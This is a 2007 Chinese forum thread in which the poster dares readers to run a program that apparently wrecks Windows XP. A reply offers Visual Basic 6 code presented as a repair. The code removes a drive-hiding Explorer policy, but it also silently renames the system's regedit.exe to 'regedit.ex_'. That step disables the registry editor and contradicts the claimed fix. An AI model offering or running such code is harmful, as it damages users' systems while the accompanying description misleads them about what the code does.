一个运行后要你重装系统的程序..谁敢试试...(XP下试过不知道这些系统行不.)
支持的人多.开源.....
[此贴子已经被作者于2007-5-12 17:14:13编辑过]
一个运行后要你重装系统的程序..谁敢试试...(XP下试过不知道这些系统行不.)
支持的人多.开源.....
[此贴子已经被作者于2007-5-12 17:14:13编辑过]
'解决运行楼主的程序后盘符无法打及注册表编辑器无法打开,如果运行完后盘符还是不能打开注销一次就好了。
Option Explicit
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Sub Form_Load()
Dim REGID As Long, PathSTR As String, I As Long
On Error Resume Next
RegOpenKeyEx &H80000001, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", 0&, &HF003F, REGID
If REGID Then
RegDeleteValue REGID, "noviewondrive"
RegCloseKey REGID
Else
MsgBox "打开注册表出错!", vbOKOnly, "南宫飘雪"
End If
I = 255
Do
PathSTR = Space(I): REGID = I
I = GetSystemDirectory(PathSTR, REGID)
If REGID >= I Then Exit Do
Loop
PathSTR = Left(PathSTR, I) & "\regedit.exe"
If Len(Dir(PathSTR)) Then
SetAttr PathSTR, vbNormal
Name PathSTR As Left(PathSTR, Len(PathSTR) - 1) & "_"
End If
Unload Me
End Sub
我重新修改了哈。现在试试。。
[此贴子已经被作者于2007-5-12 14:28:29编辑过]